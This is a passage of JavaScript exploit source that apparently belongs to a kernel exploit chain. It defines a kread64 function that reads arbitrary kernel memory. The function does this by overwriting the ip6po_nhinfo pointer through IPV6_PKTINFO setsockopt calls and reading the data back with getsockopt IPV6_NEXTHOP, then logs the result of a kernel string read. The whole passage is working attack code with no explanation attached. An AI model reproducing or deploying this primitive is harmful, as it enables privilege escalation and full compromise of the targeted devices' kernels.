| 1230 | const read_buf = new Buffer(8); |
| 1231 | const read_buf_p = read_buf.addr; |
| 1232 | function kread64(addr) { |
| 1233 | const len = 8; |
| 1234 | let offset = 0; |
| 1235 | while (offset < len) { |
| 1236 | // pktopts.ip6po_nhinfo = addr + offset |
| 1237 | pktinfo.write64(8, addr.add(offset)); |
| 1238 | nhop[0] = len - offset; |
| 1239 | |
| 1240 | ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); |
| 1241 | sysi( |
| 1242 | 'getsockopt', |
| 1243 | psd, IPPROTO_IPV6, IPV6_NEXTHOP, |
| 1244 | read_buf_p.add(offset), nhop_p, |
| 1245 | ); |
| 1246 | |
| 1247 | const n = nhop[0]; |
| 1248 | if (n === 0) { |
| 1249 | read_buf[offset] = 0; |
| 1250 | offset += 1; |
| 1251 | } else { |
| 1252 | offset += n; |
| 1253 | } |
| 1254 | } |
| 1255 | return read_buf.read64(0); |
| 1256 | } |
| 1257 | |
| 1258 | log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`); |
| 1259 | const kstr = jstr(read_buf); |